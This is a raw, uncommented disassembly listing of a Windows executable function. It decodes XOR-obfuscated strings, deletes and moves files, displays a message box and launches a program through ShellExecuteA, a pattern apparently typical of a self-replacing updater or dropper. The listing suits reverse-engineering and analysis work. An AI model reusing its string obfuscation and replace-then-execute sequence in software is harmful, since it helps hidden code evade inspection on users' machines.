nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140052540
mov byte [rsp + 0x3f], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x300]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.140050010
test al, al
jne 0x1400525ce
movdqa xmm0, xmmword [0x1400a53d0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x96b43127
lea rcx, [rsp + 0x30]
nop dword [rax]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x13
jb 0x1400525a0
mov byte [rsp + 0x43], 0
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400525c0
jmp 0x140052239
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x1400525f0
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
jne 0x140052841
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
lea rax, [rbp + 0x520]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052620
lea rdx, [rbp + 0x520]
lea rcx, [rbp - 0x20]
call fcn.1400608e0
nop
lea rsi, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rsi, qword [rbp - 0x20]
mov r14, qword [rbp - 0x10]
test r14, r14
je 0x1400526de
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x228], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x22d]
call fcn.140090d00
mov byte [rbp + 0x22c], 1
lea rax, [r14 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rsi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x1d0], 0
jne 0x1400526d9
cmp rcx, rsi
je 0x1400526de
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x1d0], 0
je 0x1400526c4
sub rcx, rsi
jmp 0x1400526e1
mov rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
movsxd r8, ecx
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.1400608e0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14005274c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052747
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529ec
call fcn.1400624fc
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbp + 0x58]
movups xmmword [rbp - 0x10], xmm1
lea r9, [rbp - 0x20]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova r9, rcx
movdqa xmm0, xmmword [0x1400a5440]
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
lea r8, [rsp + 0x30]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jb 0x140052790
mov byte [rsp + 0x3f], 0
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [rbp + 0x410]
call fcn.14004b130
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004e430
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1400529f2
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400528bb
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005283a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529bc
call fcn.1400624fc
jmp 0x1400528bb
movdqa xmm0, xmmword [0x1400a5320]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0x1b733a1e
mov dword [rsp + 0x5c], 0x15047d08
mov word [rsp + 0x60], 0x9cba
lea rcx, [rsp + 0x48]
nop dword [rax + rax]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x19
jb 0x140052870
mov byte [rsp + 0x61], 0
lea rax, [rsp + 0x48]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140052890
mov r8, rdi
lea rdx, [rsp + 0x48]
lea rcx, [0x1400b3d50]
call fcn.14005f310
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
lea rcx, [rbp - 0x40]
call fcn.14005e730
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140052900
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400528fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529c8
call fcn.1400624fc
mov al, 1
add rsp, 0x730
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
movdqa xmm0, xmmword [0x1400a5390]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400a5280]
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x40], 0x94d2925
mov word [rbp + 0x44], 0x8932
mov byte [rbp + 0x46], 0xa9
lea rcx, [rbp + 0x20]
nop
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x26
jb 0x140052940
mov byte [rbp + 0x46], 0
lea rax, [rbp + 0x20]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140052960
mov r8, rdi
lea rdx, [rbp + 0x20]
lea rcx, [0x1400b3d50]
call fcn.14005f310
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140051e03
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529ce
jmp 0x140051dfe
call fcn.1400788cc
nop
call fcn.1400788cc
int3
call fcn.1400788cc
int3
call fcn.1400788cc
nop
call fcn.1400788cc
nop
call fcn.1400788cc
nop
call fcn.1400788cc
int3
call fcn.1400788cc
nop
call fcn.1400788cc
int3
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x660]
call fcn.140052c10
mov rcx, rax
call fcn.14005d220
mov r11, rax
lea rdx, [rbp + 0x20]
call fcn.140052bd0
mov rcx, rax
call fcn.14005d250
mov r9d, 0x40
mov r8, r11
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp + 0x660]
call fcn.140052c20
mov rcx, rax
call fcn.14005d6d0
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x410]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.140075b94
int3